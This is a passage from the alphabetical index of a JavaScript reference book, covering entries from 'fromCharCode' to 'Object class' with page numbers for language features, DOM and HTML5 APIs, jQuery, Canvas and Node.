fromCharCode( ) method, String object, 839
fromElement property, Event object, 916
frozen objects, 814, 819
fs (file and filesystem) module, Node, 299
function calls, 96
(see also functions, invoking)
as expression statements, 88
Function class, 30
toString( ) method, 50
function declaration statements, 91, 165
function definition expressions, 165
function declaration statements versus, 92
function keyword, 59, 164
creating a variable, 358
Function object, 775–781
apply( ) method, 776
arguments property, 777
bind( ) method, 189, 208, 778
call( ) method, 136, 779
caller property, 779
defining your own properties, 178
length property, 780
methods, 776
properties, 775
prototype property, 780
toString( ) method, 780
function scope, 31
and hoisting, 54
as private namespace in modules, 248–250
Function( ) constructor, 190
removal in secure subsets, 267

functions, 163–197
Ajax utility functions in jQuery, 560
arguments and parameters, 171–176
argument types, 174
optional parameters, 171
using object properties as arguments, 174
variable-length argument lists, 172
arguments[ ] array, 719
bind ( ) method, 188
call( ) and apply( ) methods, 187
callable objects, 191
closures, 180–185
constructor, 782
defined, 6, 30
defining, 164–166
nested functions, 166
definition expressions, 59
demonstrating control structure statements, 7
Function( ) constructor, 190
generator, 277–280
global, 25, 781
higher-order, 193
invocation expressions, 61
invoking, 166–170
constructor invocation, 170
indirect invocation, 170
method invocation, 167
invoking when document is ready, 466
jQuery function (term), 528
jQuery( ) function ($ ( )), 527
Math, 790
memoization, 196
names, 165
as namespaces, 178–180
nested, 309
partial application of, 194–196
processing arrays, 192–193
properties, 186
length property, 186
prototype, 186, 203
restrictions in secure subsets, 267
returning arrays of values, destructuring assignment with, 272
setting event handler attributes to, 457
sharing between frames or windows, 358
shorthand for (expression closures), 282
toString( ) method, 189
as values, 176–178
defining your own function properties, 178
variables declared with var or let, 271

G

g (global matching) in regular expressions, 259
garbage collection, 30
generator expressions, 281
generators, 277–280
pipeline of, 279
restarting with send ( ) or throw ( ) method, 280
Geocoordinates object, 933
Geolocation API, 668–671
example demonstrating all features, 670
using to display a map, 669
Geolocation object, 933
geolocation property, Navigator object, 348, 668, 974
GeolocationError object, 934
geometrical, coordinate-based view of documents, 390
geometry and scrolling, document and element, 390–396
determining element positioned at a point, 393
document coordinates and viewport coordinates, 390
element size, position, and overflow, 394
getting and setting element geometry, 534
handling mousewheel events (example), 472–475
querying geometry of an element, 392
scrolling, 394
Geoposition object, 935
gesture and touch events, Safari on Apple iPhone and iPad, 456
GET method, 496
making HTTP request with form-encoded data, 503
no request body, 497
get( ) function, 563
getAllResponseHeaders( ), XMLHttpRequest object, 1015
getAttribute( ) and setAttribute( ) methods, Element object, 376
getAttribute( ) method, Element object, 906

getAttributeNS( ), Element object, 907
getBoundingClientRect( ), Element object, 392, 396, 907
getClientRects( ), Element object, 393, 907
getComputedStyle( ), Window object, 436, 1005
getContext( ) method, Canvas object, 630, 636
getContext( ), Canvas object, 865
getCurrentPosition( ), Geolocation object, 669, 934
getData( ), DataTransfer object, 478, 889
getDate( ) method, Date object, 746
getDay( ) method, Date object, 747
getElementById( ), Document object, 352, 364, 896
  selecting forms and form elements, 398
getElementsByClassName( ) method
  Document object, 368, 896
  Element object, 907
getElementsByName( ) method, HTMLDocument object, 365
getElementsByTagName( ) method
  Document object, 366, 896
    selecting forms and form elements, 398
  Element object, 907
getElementsByTagName( ), Document object, 159
getElementsByTagNameNS( ) method
  Document object, 896
  Element object, 907
getFloat32( ) method, DataView object, 890
getFloat64( ) method, DataView object, 890
getFullYear( ) method, Date object, 747
getHours( ) method, Date object, 747
getImageData( ), CanvasRenderingContext2D, 661, 876
getInt16( ) method, DataView object, 890
getInt32( ) method, DataView object, 890
getInt8( ) method, DataView object, 890
getItem( ) method, Storage object, 988
getJSON( ) function, 561
getMilliseconds( ) method, Date object, 747
getMinutes( ) method, Date object, 748
getModifierState( ), Event object, 920
getMonth( ) method, Date object, 748
getOwnPropertyDescriptor( ) function, 131, 134, 815
getOwnPropertyNames( ) function, 128, 816
getPrototypeOf( ) function, 135, 817
getResponseHeader( ), XMLHttpRequest object, 1015
getScript( ) function, 561
getSeconds( ) method, Date object, 748
getSelection( ) method, Window object, 408
getters and setters
  jQuery, 531–537
    for CSS attributes, 532
    for CSS classes, 532
    for element content, 534
    for element data, 536
    for element geometry, 534
    for HTML attributes, 531
    for HTML form values, 533
  property, 128–130
    combining closures with, 183
    legacy API for, 134
getTime( ) method, Date object, 748
getTimezoneOffset( ) method, Date object, 749
getUint16( ) method, DataView object, 890
getUint32( ) method, DataView object, 890
getUint8( ) method, DataView object, 890
getUTCDate( ) method, Date object, 749
getUTCDay( ) method, Date object, 750
getUTCFullYear( ) method, Date object, 750
getUTCHours( ) method, Date object, 750
getUTCMilliseconds( ) method, Date object, 750
getUTCMinutes( ) method, Date object, 751
getUTCMonth( ) method, Date object, 751
getUTCSeconds( ) method, Date object, 751
getYear( ) method, Date object, 751
global functions, 25, 781
  defined in Rhino, 290
global object, 42, 781–784, 781
  properties referring to predefined JavaScript objects, 782
global property, RegExp object, 262, 832
global variables, 25, 31
  avoiding by using functions as namespaces, 179
  avoiding creation of, in modules, 246
  as properties of global object, 55
  restriction in secure subsets, 267
  use of element IDs as, 352
globalAlpha property, 645, 646, 871

globalCompositeOperation property, 657, 869, 871
globalEval( ) function, 572
GMT (Greenwich Mean Time), 742
go( ) method, History object, 345, 936
Google
  Caja secure subset, 268
  Closure library, 339
  promoting ability to load scripts from other sites, 313
  V8 JavaScript engine and Node, 296
Google Web Toolkit (GWT), 339
graded browser support, 329
gradients
  CanvasGradient object, 866
gradients in Canvas, 645–648
  specifying for stroke or fill, 647
graphics, 613, 630
  (see also Canvas API)
  scripting images, 614
  SVG (Scalable Vector Graphics), 622–630
graphics APIs for web applications, 311
graphics attributes, canvas
  graphics state management utilities, 636
graphics attributes, Canvas API, 635
graphics state (canvas), 635, 870
  saving, 870, 879
  state management utilities, 636
grep( ) function, 572
grep( ) method, jQuery, 579
group( ) method, Console object, 882
groupCollapsed( ) method, Console object, 882
groupEnd( ) method, Console object, 883
grouping in regular expressions, 256
GUIs (graphical user interfaces), creating Java GUI using JavaScript in Rhino (example), 293–296

H

handler property, Event object, 544
has( ) method, jQuery, 579
hasAttribute( ) method, Element object, 377, 907
hasAttributeNS( ), Element object, 907
hasChildNodes( ), Node object, 978
hasClass( ) method, jQuery, 532
hasFocus( ) method, Document object, 896
hash property
  Link object, 963
  Location object, 343, 672, 964
  WorkerLocation object, 1011
hashchange events, 672
HashChangeEvent object, 935
hasOwnProperty( ) method, Object class, 125, 817
HAVE constants, MediaElement object, 965
HEAD method, HTTP request for link details with CORS, 512
head property, Document object, 367, 893
headers, HTTP request and response, 495
  checking Content-Type response header, 501
  Content-Length header, 508
  CORS (Cross-Origin Resource Sharing) headers, 511
  response headers, 498
  setting for POST request file upload, 506
  setting POST request Content-Type header, 502
  setting request header, 496
heading property, Geocoordinates object, 933
heading variable, 352
height and width style properties, 421, 425
height property, 535
  (see also width and height properties)
  ClientRect object, 880
  IFrame object, 939
height( ) method, jQuery, 535
hexadecimal digits, specifying RGB colors, 427
hexadecimal values, 32
hide( ) method, jQuery, 553, 555
high property, Meter object, 973
higher-order functions, 193
  combined with partial application, 196
history management in HTML5, 671–676
History object, 345, 936
  back( ), forward( ) and go( ) methods, 345
  pushState( ) method, 672
    history management with (example), 673–676
  replaceState( ) method, 673
history property, Window object, 345, 1002
hit detection, 662–663
hoisting, 54, 165
host objects, 116
host property

Link object, 963
Location object, 343, 964
WorkerLocation object, 1011
hostname property
Link object, 963
Location object, 343, 964
WorkerLocation object, 1011
:hover pseudoclass, 614
hover( ) method, jQuery, 541, 545
href attribute, <a> elements, 315, 367
href property
CSSStyleSheet object, 887
Link object, 963
Location object, 343, 964
WorkerLocation object, 1012
HSL (hue-saturation-value) color specification, 427
HSLA (hue-saturation-value-alpha) color specification, 427
HTML
attributes of elements, 375–378
case-insensitive tag names, 366
element content as, 379
elements and attributes, 910–913
embedding JavaScript code using <script> tags, 9
embedding JavaScript in, 311–317
escaping and inactivating HTML tags in untrusted data, 337
event handlers, 315
getting and setting attributes with jQuery, 531
including CSS stylesheet in HTML page, 415
keeping HTML content separate from JavaScript behavior, 458
not case-sensitive, 21
<script> element, 309
scripting document content, 9
String class methods, 836
strings, single- and double-quoted, 37
using JavaScript to script content, 10
<html> elements, manifest attribute, 601
HTML forms, 397–404
elements, 397
events, 450
form and element event handlers, 400
form and element properties, 399
Form objects, 927–929
form-encoded HTTP requests, 502–507
FormControl objects, 929, 930
FormData objects, 931
FormValidity objects, 932
getting and setting values, 533
handler return value, preventing invalid input, 462
HTMLFormControlsCollection object, 938
new features in HTML5, 455
push buttons, 401
select and option elements, 403
selecting forms and form elements, 398
text fields, 402
toggle buttons, 402
html( ) method, jQuery, 534
HTML5, 667–716
APIs for web applications, 311
application cache, 601
Blobs, 691–699
classList property, 438, 533
client-side databases, 705–713
cross-origin messaging, 676–680
dataset attributes and dataset property, 377
DOMContentLoaded event, 465
drag and drop (DnD) API, 475
editing commands, 410
event handlers directed at browser as a whole, 458
events, 454
Filesystem API, 700–705
frames property as self-referential property, 357
Geolocation API, 668–671
getElementsByClassName( ) method, 368
history management, 671–676
innerHTML and outerHTML properties, 379
insertAdjacentHTML( ) method, 379
Offline Web Applications API, 588
placeholder attribute, text fields, 402
sandbox attribute for <iframe> element, 337
SVG markup appearing directly in HTML files, 624
typed arrays and ArrayBuffers, 687–691
“web workers”, 322
Web Workers specification, 680–687
WebSocket API, 713–716

WindowProxy object, 359
HTMLCollection object, 367, 937
form elements, 398
overview of, 367
HTMLDocument object, 363
(see also Document object)
getElementsByName( ) method, 365
images, forms, and links properties, 367
HTMLElement object, 363
(see also Element object)
properties mirroring HTML attributes of elements, 375
representing HTML elements in documents, 351
text property, 314
htmlFor property
Label object, 962
Output object, 981
HTMLOptionsCollection object, 938
HTTP, 713
attributes of HTML elements, 375
client utilities module in Node (example), 302–304
HTTP server in Node (example), 300–302
scripted, 491–521
using <script> elements, 513–515
using Comet with Server-Sent Events, 515–521
using XMLHttpRequest, 494–513
HTTP methods, 496
hyperlinks, 316
bookmarking destination of, 317
Link objects, 962
onclick event handler, 401
hyphenated attribute names, 377

I

i (case-insensitive matching) in regular expressions, 259
I/O
asynchronous, scripting with Node, 296–304
HTTP client (example), 302–304
HTTP server (example), 300–302
id attribute, HTML elements, 351
id property, Element object, 904
IDBRange object, 706
identifiers
defined, 23
format control characters and, 22
in labeled statements, 102
in property access expressions, 60
identity operator (see operators; strict equality operator)
if statements, 92
in array comprehensions, 281
in else if statements, 94
nested, with else clauses, 93
<iframe> elements, 334
Ajax transport with, 492
browsing history and, 345
contentWindow property, 357
deleting to close frames, 356
document properties for, referring to Window object, 366
making document editable in, 409
name attribute, 354
nested documents in HTML documents, 353
returning contents of, 581
sandbox attribute in HTML5, 337
using in history management, 346
with name and id attribute, becoming value of global variable, 353
IFrame object, 939
ignoreCase property, RegExp object, 262, 832
ImageData object, 661
ImageData objects, 941
copying onto the canvas, 878
creating, 874
data property, array of bytes, 688
passing to worker via postMessage( ), 684
images
displaying dropped image files with Blob URLs, 695
drawing in canvas, 655–657, 868
extracting canvas content as, 656
Image object, 940
scripting, 614
unobtrusive image rollovers, 615
Web Worker for image processing (example), 684
images property, HTMLDocument object, 367
<img> elements, 614
Ajax transport and, 492
displaying SVG images, 622
immutable classes, defining, 239–241

immutable objects, 137, 814, 819
immutable types, 31
implementation property, Document, 893
importNode( ), Document object, 382, 896
importScripts( ), WorkerGlobalScope object, 682, 1010
in operator, 62, 74
  testing for inherited or noninherited properties, 125
inArray( ) method, 572
increment expression (for loops), 98
indeterminate property, Input object, 943
index property, Option object, 980
index( ) method, jQuery, 530
IndexedDB API, 588, 705–713
  database of U.S. postal codes (example), 708–713
indexes
  array, 141
    indexOf ( ) and lastIndexOf ( ) methods, 157
    object property names versus, 143
  zero-based, string and array, 36
indexOf( ) method
  Array object, 157, 727
  String object, 840
inequality operators (see ! (exclamation mark), under Symbols)
infinite loops, 99
Infinity property, 784
infinity values, 33
info( ) method, Console object, 883
inheritance
  accessor properties, 130
  classes and prototypes, 200
  creating new object that inherits from prototype, 119
  enumeration of properties and, 126
  favoring composition over, in object-oriented design, 233
  object properties, 122
  prototype constructor as prototype for new object, 201
  subclasses, 230
inherited properties, 116
initEvent( ) method, Event object, 919
initialize expression (for loops), 98
initializer expressions, 5, 58
initialTime, MediaElement object, 618, 967
inline styles, scripting, 431–435
  CSS animations, 433–435
  setting while querying computed styles, 436
innerHeight and innerWidth properties, Window object, 1002
innerHTML property, Element object, 379, 386, 904
  streaming API for, 407
  use in jQuery to get element content, 534
  using to implement outerHTML, 384
innerText property, Element object, 380
innerWidth( ) and innerHeight( ) methods, jQuery, 535
<input> elements, buttons defined as, 401
  file uploads with, 505
input events
  device-dependent and -independent, 448
  triggered on text input form elements, 450
Input object, 942
  methods, 945
  properties, 942
input variable, 352
inputMethod, Event object, 453, 481, 920
insertAdjacentHTML( ), Element object, 379, 908
  implementing using innerHTML and DocumentFragment, 386
insertAfter( ) method, jQuery, 538
insertBefore( ) method, jQuery, 538
insertBefore( ) method, Node object, 383, 978
insertCell( ) method, TableRow object, 992
insertData( ) method
  Comment node, 881
  Text node, 993
insertion and deletion methods in jQuery, 953
insertRow( ) method
  Table object, 991
  TableSection object, 993
insertRule( ), CSSStyleSheet object, 441, 888
inspect( ), ConsoleCommandLine, 884
instance fields and methods (Java classes), 205
instance objects, 205
instanceof operator, 62, 75
  determining class of an object, 210
  inability to distinguish array type, 158
  isPrototypeOf( ) method and, 135
  not working across windows, 359

using with constructors to test objects' class membership, 203
working with Java objects and classes in Rhino, 291
instances, 199
arrays of, sorting, 224
constructor property, 204
creating and initializing with factory function, 200
factory methods returning, 227
Int16Array class, 996
Int32Array class, 996
Int8Array class, 688, 996
integer literals, 32
integers, 31
interacting windows, JavaScript in, 358
interfaces (see UI (user interface))
Internet Explorer (IE)
<canvas> element, 630
clientInformation property, Window object, 346
computed styles, 437
conditional comments in, 331
CSS box model, 425
current version, 327
drag and drop (DnD) API, 475
event model
attachEvent( ) and addEventListener( ) methods, 321
attachEvent( ) and detachEvent( ) methods, 459, 923
event capturing and, 463
form events, 450
filter property, 428
innerText property instead of textContent, 380
nonbubbling mouse events, 452
not supporting getElementsByClassName( ), 369
propertychange event, using to detect text input, 484
querying selected text, 408
removing script tags and other executable content in IE8, 337
rules property instead of cssRules, 441
timer methods, 342
use of callable host objects rather than native Function objects, 191
userData API, 588
userData persistence, 599–601
XMLHttpRequest in IE 6, 494
interpreters, 3
JavaScript versions, 269
support for E4X, 283
support for JavaScript extensions, 265
invocation context, 163
invocation expressions, 61
function invocation, 167
precedence, 65
invocation order, event handlers, 462
invoking functions, 166–170
constructor invocation, 170
event handlers, 460–465
indirectly, 170
jQuery( ) function, 526
method invocation, 167
iPhone and iPad, gesture and touch events, 456
is( ) method, jQuery, 530, 533
isArray( ) function, 573
isArray( ) method, Array object, 157, 160
isContentEditable, Element object, 904
isDefaultNamespace( ) method, Node object, 978
isEmptyObject( ) function, 573
isEqualNode( ) method, Node object, 978
isExtensible( ) function, 137, 818
isFinite( ) function, 34, 784
isFrozen( ) function, 137, 819
isFunction( ) function, 191, 573
isNaN( ) function, 34
isPlainObject( ) function, 573
isPointInPath( ), CanvasRenderingContext2D, 662, 877
isPrototypeOf( ) method, 135, 819
isSameNode( ) method, Node object, 978
isSealed( ) function, 820
isTrusted property, Event object, 916
item( ) method
DOMTokenList object, 902
HTMLCollection object, 368, 937
HTMLOptionsCollection object, 939
NodeList object, 368, 980
Select element, 987
items property, DataTransfer object, 478, 888
iterable objects, 275
iteration
arrays, 146–148

for/each loop defined in E4X, 286
Java classes and objects with for/in loop, 292
language extensions for, 274–282
array comprehensions, 280
for/each loop, 274
generator expressions, 281
generators, 277–280
iterators, 274–277
Iterator ( ) function, 276
__iterator__( ) method, 276

J

Java
browser plug-ins, 336
scripting with Rhino, 290–296
GUI (graphical user interface) example, 293–296
Java-style classes in JavaScript, 205–208
javaEnabled( ), Navigator object, 348
javaException property, Error object, 293
JavaScript
files ending in .js, 313
names and versions, 2
versions, 265, 269
JavaScript Object Notation (see JSON)
javascript: URLs, 315
using for bookmarklets, 316
join( ) method, Array object, 149, 728
jQuery, 11, 338, 523–586, 582–585, 945–962
Ajax functions, 958
Ajax in jQuery 1.5, 565
Ajax with, 559–571
Ajax events, 570
ajax( ) function, 564–569
load( ) method, 559
passing data to Ajax utilities, 562
utility functions, 560
altering document structure, 537–540
animated effects, 551–558
basic methods and properties, 947
basics of, 524
CSS selector-based queries, 370
effects and animation methods, 956
element methods, 950
event methods, 955
extending with plugins, 582–585
getters and setters, 531–537
handling events with, 540–550
insertion and deletion methods, 953
jQuery( ) function ($( )), 525–528
names of functions and methods in official documentation, 528
obtaining, 525
queries and query results, 528
selection methods, 578–582, 948
selector grammar, 946
selectors, 574–578
combinations of, 577
groups of, 578
simple, 575–577
terminology, 527
UI library, 585
utility functions, 571–574, 960
jquery property, 529
jQuery.easing object, 556
jQuery.fx.speeds, 551
jqXHR object, 565
JSON, 138, 786–789
jQuery.getJSON( ) function, 561
jQuery.parseJSON( ) function, 573
making HTTP POST request with JSON-encoded body, 504
methods, implementation in classes, 220
parsing HTTP response, 500
toJSON( ) method, 139
JSON.parse( ) function, 138, 786
JSON.stringify( ) function, 138, 672, 788
JSONP, 513–515
making request with script element, 515
request specified by URL or data string passed to jQuery.getJSON( ), 563
jump statements, 87, 102
break, 103
continue, 104
labeled, 102
return, 105
throw, 106
try/catch/finally, 106

K

key events, 452
key property, 485
Event object, 454, 920
StorageEvent object, 988
key( ) method, Storage object, 988
keyboard events, 484–489
event handler registration with jQuery, 541

keydown and keyup, 485
Keymap class for keyboard shortcuts (example), 485–489
text input, 481
keyboard modifier keys for mouse events, 451, 467
keyboard, using instead of a mouse, 332
KeyboardEvent objects, 453
keyCode property, 481, 485
Event object, 917
keyIdentifier property, 485
Keymap class for keyboard shortcuts (example), 485–489
keys( ) function, 821
enumerating property names, 128
keys( ) method, ConsoleCommandLine, 884
keywords, case sensitivity, 21
Koch snowflakes, drawing (example), 641

L

Label object, 962
label property, Option object, 980
labeled statements, 102
continue, 104
labels property
FormControl object, 930
Meter object, 973
Progress object, 983
lang property, Element object, 904
lastChild property, Node object, 976
lastElementChild, Element object, 373, 905
lastEventId, MessageEvent object, 971
lastIndex property, RegExp object, 262, 833
lastIndexOf( ) method
Array object, 157, 729
String object, 841
lastModified property, Document object, 405, 893
lastModifiedDate, File object, 693, 923
latitude property, Geocoordinates object, 933
left and top style properties, 421, 425
left, right, top, and bottom properties, 392
ClientRect object, 880
legacy event types, 449
form events, 450
key events, 452
mouse events, 451
window events, 450
length of a string, 36
determining, 38
length property
Arguments object, 172, 721
Array object, 730
arrays, 143
manipulating, 145
sparse arrays, 144
Comment node, 881
CSSStyleDeclaration object, 886
DOMTokenList object, 902
Form object, 928
Function object, 780
functions, 186
History object, 936
HTMLCollection object, 937
HTMLOptionsCollection object, 938
jQuery objects, 528
NodeList object, 980
Select element, 986
Storage object, 987
String object, 38, 842
Text node, 993
TimeRanges object, 995
TypedArray object, 997
Window object, 357, 1002
lengthComputable, ProgressEvent object, 984
let keyword, 269
destructuring assignment used to initialize variables, 272
used as loop initializer, 270
using as variable declaration, 270
lexical scoping, 31, 55, 180
and functions shared between frames or windows, 358
rules for nested functions, 181
libraries
client-side, supporting visual effects, 435
compatibility, 328
history management, 346
lifecycle notification events, 455
line breaks
interpreted as semicolon, exceptions, 26
in JavaScript code, 22
treatment as semicolons in JavaScript, 25
linear gradients, 647, 874
lineCap property, 650
lineCap property, CanvasRenderingContext2D, 649, 871

Download from Wow! eBook <www.wowebook.com>

lineCap, CanvasRenderingContext2D, 868
lineJoin, CanvasRenderingContext2D, 650, 868, 872
lineno property, ErrorEvent object, 913
lines
  drawing in Canvas API, 632–635
  line drawing attributes in canvas, 648
lineTo( ), CanvasRenderingContext2D, 632, 641, 649, 877
lineWidth property, CanvasRenderingContext2D, 635, 648
lineWidth, CanvasRenderingContext2D, 868, 872
<link> elements, Element objects representing, 440
links
  Link object, 962
  requesting details about with HTTP HEAD and CORS, 512
links property, Document object, 367, 893
list property, Input object, 943
lists, filtering in E4X, 285
literals, 58
  defined, 23
  numeric, 31
  object, 117
  regular expression, 251
  string, 36
  XML literals included in JavaScript code, 284
little-endian byte ordering, 690, 890
live events, 549
live( ) method, jQuery, 550
LN10 constant (Math), 795
LN2 constant (Math), 795
load events, 318, 450
  browser support for, 324
  document, 465–467
    event propagation, 463
  FileReader object, 698
  onload event handler, Window object, 309
  registering event handler for, 11
load( ) function (Rhino), 290
load( ) method
  Ajax utility in jQuery, 559
  jQuery, 541
  media elements, 617
  MediaElement object, 969
loaded property, ProgressEvent, 508, 984
loading and executing scripts asynchronously, 319
loan calculator web application (example), 12–18
local files and XMLHttpRequest, 495
locale property, Event object, 920
localeCompare( ) method, String object, 842
localName property, Attr object, 862
localName property, Element object, 905
localStorage property, Window objects, 589, 1002
  offline web applications, 608
  storage API, 591
  storage events, 592
  storage lifetime and scope, 590
Location object, 343, 964
  assign( ) and replace( ) methods, 344
  hash property, 672
  href property, 343
  reload( ) method, 344
  URL decomposition properties, 343
location property
  Document object, 343, 405, 893
  Event object, 920
  Window object, 307, 343, 1002
  WorkerGlobalScope object, 683, 1009
log( ) function, Math object, 796
log( ) method, Console object, 686, 883
LOG10E constant (Math), 796
LOG2E constant (Math), 796
logical expressions, 75
  logical AND (&&) operator, 75
  logical NOT (!) operator, 77
  logical OR (||) operator, 76
logical operators, 62
long-running scripts, 338
longitude property, Geocoordinates object, 933
lookahead assertions in regular expressions, 258
__lookupGetter__( ) and __lookupSetter__( ) methods, 134
lookupNamespaceURI( ), Node object, 979
lookupPrefix( ) method, Node object, 979
loop property, MediaElement object, 618, 967
loops, 87, 97
  continue statements in, 104
  do/while, 98

for, 98
for/each, 274
let keyword as variable declaration or loop initializer, 270
while, 97
low property, Meter object, 973
lvalues, 64, 100

M

m (multiline mode) in regular expression pattern matching, 259
makeArray( ) function, 573
malicious scripts, containment with same-origin policy, 334
manifest files, application cache, 601
complex manifests, 603
updates, 603–607
map( ) function, 573
map( ) method
Array and jQuery, 530
Array object, 154, 192, 730
map, displaying using geolocation, 669
margin property, 416, 432
margins
in CSS box model, 424
specifying for elements with CSS, 423
match position, specifying for regular expressions, 257
match( ) method, String object, 260, 843
Math object, 789–800
abs( ) function, 791
acos( ) function, 791
asin( ) function, 792
atan( ) function, 792
atan2( ) function, 792
ceil( ) function, 793
constants, 789
cos( ) function, 794
exp( ) function, 794
floor( ) function, 795
functions and constants defined as properties, 33
log( ) function, 796
max( ) function, 187
max( ) method, 797
min( ) function, 797
pow( ) function, 798
random( ) function, 798
round( ) function, 798
sin( ) function, 799
sqrt( ) function, 799
static functions, 790
tan( ) function, 800
max property
Input object, 943
Meter object, 973
Progress object, 983
max( ) function, Math object, 187, 797
max-age attribute, cookies, 596
maximumAge option, Geolocation methods, 934
maxLength property, Input object, 943
MAX_VALUE (Number), 803
measureText( ), CanvasRenderingContext2D, 651, 877
media
controlling playback, 617
events, 620
querying status, 618
scripting audio and video, 615
type selection and loading, 617
media property
CSSStyleSheet object, 887
Style object, 989
MediaElement object, 965–970
constants defining values for networkState and readyState, 965
event handlers, 968
methods, 969
properties, 966
MediaError object, 970
memoization, 196
merge( ) function, 573
message property
Error object, 769, 771
ErrorEvent object, 913
EvalError object, 774
GeolocationError object, 935
ReferenceError object, 829
URIError object, 856
MessageChannel object, 684, 970
MessageEvent object, 971
MessagePort object, 684, 972
messaging
cross-document, 336, 676–680
message event used for asynchronous communication, 455

sending data to Worker objects with postMessage( ), 681
support by WebSocket API, 714
metadata affecting media playback, 618
metaKey property, 451, 467, 485
Event object, 917
in jQuery, 543
Meter object, 973
method attribute and property, form elements, 399
method chaining, 169
from subclass to superclass, 231–233
method property, Form object, 928
methods, 30, 43, 163
adding to prototype objects for classes, 208
array
ECMAScript 3, 148–152
ECMAScript 3 and ECMAScript 5, 159
ECMAScript 5, 153–157
borrowing, 224
class, 199
common object methods, 138
toJSON( ), 139
toLocaleString( ), 139
toString( ), 139
valueOf( ), 140
comparison, 221–224
defined, 7
invocation expressions, 61
invoking, 167
Java, invoking with JavaScript programs in Rhino, 291
jQuery, 528
special, restriction in secure subsets, 267
type conversion, 219
Microsoft Web Sandbox, 269
MIME types
application cache manifest files, 602
form data encoding, 502
media, 617
overriding incorrect type in HTTP response, 501
specifying in HTTP Content-Type headers, 496
text, 500
min property
Input object, 943
Meter object, 973
min( ) function, Math object, 797
MIN_VALUE (Number), 803
miterLimit property, 650, 872
mobile devices, events, 448, 456
modal dialog boxes, 349
(see also dialog boxes)
modules, 246–250
evaluation of, 302
function scope as private namespace, 248–250
objects as namespaces, 246
monitorEvents( ), ConsoleCommandLine object, 884
motion blur or smear effect on graphics in canvas, 661
mouse
coordinates of pointer, 390
two-dimensional mouse wheels and wheel event, 453
using keyboard instead of, 332
mouse events, 451, 467–471
default actions that can be prevented, 467
DOM Level 3 Events specification, 453
registering event handlers with jQuery, 540
testing if event is over painted pixel in canvas, 663
testing whether event is over current path in canvas, 662
mousewheel events, 452, 453, 471–475
handling, 472–475
working with, interoperably, 472
moveTo( ), CanvasRenderingContext2D, 632, 877
Mozilla
downloading Rhino from, 290
JavaScript versions, 265, 269
multidimensional arrays, 148
multiline property, RegExp object, 262, 830
multipart/form-data HTTP requests, 506
multiple property
Input object, 944
Select element, 986
mutable types, 31
muted property
MediaElement object, 967
setting for audio playback, 618

N

\n (newline character), 37
name attribute, HTML elements, 352, 399

selecting elements by name, 365
setting, creating properties on Document object, 366
name property
Attr object, 862
DocumentType object, 899
DOMException object, 900
Error object, 770, 771
EvalError object, 774
File object, 693, 924
form elements, 400
Form object, 928
FormControl object, 930
IFrame object, 939
ReferenceError object, 829
URIError object, 856
Window object, 354, 1003
namedItem( ) method
HTMLCollection object, 368, 937
HTMLOptionsCollection object, 939
Select element, 987
names
CSS properties in JavaScript, 431
of functions, 165
window name, importance of, 354
namespace URI property, Attr object, 862
namespaces
createElementNS( ) method, 382
createElementNS( ) method, Document, 895
function scope as private namespace, in modules, 248–250
functions as, 178–180
getAttributeNS( ), Element object, 907
getElementsByTagNameNS( ) method, 896
isDefaultNamespace( ), Node object, 978
jQuery, 527
jQuery plug-in binding event handlers, 584
lookupPrefix( ), Node object, 979
namespaceURI property, Element object, 905
objects as, 246
process namespace, Node, 297
specifying for event handlers with jQuery, 545
SVG, 627
XML documents including attributes from other namespaces, 377
XML, working with in E4X, 286
NaN (not-a-number), 34, 800
equality comparisons and, 34
isNaN( ) function, 785
Number.NaN, 803
native objects, 116
naturalHeight and naturalWidth properties, Image object, 941
Navigator object, 330, 346, 974
browser sniffing properties, 346
cookieEnabled property, 594
geolocation property, 668
miscellaneous properties and methods, 348
onLine property, 608
navigator property
Window object, 346, 1003
WorkerGlobalScope object, 683, 1009
negative infinity, 33, 804
negative lookahead assertions in regular expressions, 258
negative zero value, 33
equality comparisons to positive zero, 34
nested functions, 166, 309
NETWORK section, application cache manifest, 603
networking
client-side JavaScript and, 333
TCP-based, net module in Node, 300
networkState, MediaElement object, 620, 965, 967
new keyword
instantiating Java classes, 291
preceding object creation expressions, 61
new operator
constructor invocation with, 202
creating objects, 117
newURL property, HashChangeEvent object, 935
newValue property, StorageEvent object, 988
next( ) and prev( ) methods, jQuery, 581
next( ) method
generators, 278
iterators, 275
nextAll( ) and prevAll( ) methods, jQuery, 581
nextElementSibling, Element object, 373, 905
nextSibling property, Node object, 371, 976
nextUntil( ) and prevUntil( ) methods, jQuery, 581
noConflict( ) function, 527, 583
Node interpreter, 289

chat server using WebSockets and, 715
online documentation, 296
scripting asynchronous I/O with, 296–304
buffers, 298
client-side timer functions, 297
event emitters, 297
file and filesystem API in fs module, 299
functions, 296
HTTP client utilities module (example), 302–304
HTTP server (example), 300–302
streams, 298
TCP-based networking, 300
Node object, 975–979
appendChild( ) method, 383
attributes property, 378
cloneNode( ) method, 382
constants, possible values of nodeType property, 976
constants, return value of compareDocumentPosition( ), 976
documents as trees of, 371
insertBefore( ) method, 383
methods, 977
properties, 976
removeChild( ) method, 384
replaceChild( ) method, 384
textContent property, 380
NodeList object, 365, 896, 979
overview of, 367
returned by getElementsByTagName( ), 366
nodeName property, Node object, 372, 976
nodes, 363
creating, inserting, and deleting in documents, 382–387
creating nodes, 382
inserting nodes, 382, 383
removing and replacing nodes, 384
using DocumentFragments, 385
nodeType property, Node object, 371, 977
nodeValue property, Node object, 372, 381, 977
nonzero winding rule, 635
normalization
normalized, defined, 995
Unicode encodings, 23
normalize( ) method, Node object, 979
not( ) method, jQuery, 579
not-a-number (see NaN)
noValidate property, Form object, 929
now( ) method, Date object, 752
null values, 29, 41
properties with, access errors, 123
property access expressions and, 60
Number object, 801–808
constants, 801
MAX_VALUE, 802
methods, 801
MIN_VALUE, 803
NaN, 803
NEGATIVE_INFINITY, 803
POSITIVE_INFINITY, 804
read-only values for Infinity and NaN global variables, 34
toExponential( ) method, 804
toFixed( ) method, 805
toLocaleString( ) method, 806
toPrecision( ) method, 806
toString( ) method, 48, 807
valueOf( ) method, 808
Number( ) constructor, 43, 801
Number( ) function, type conversions with, 47
numbers, 31–36
arithmetic in JavaScript, 33
binary floating-point and rounding errors, 34
conversions, 45, 47
number-to-string, 48
object-to-number, 49, 51
dates and times, 35
defining a complex number class (example), 206
floating-point literals, 32
integer literals, 32
wrapper objects, 43
numeric literals, 31
numeric types, 29

O

Object class, 75, 808–826
constructor property, 809, 811
create( ) function, 118, 133, 811
defineProperties( ) function, 132, 812
defineProperty( ) function, 101, 132, 134, 145, 813
freeze( ) function, 137, 814

getOwnPropertyDescriptor( ) function, 131, 134, 815
getOwnPropertyNames( ) function, 128, 816
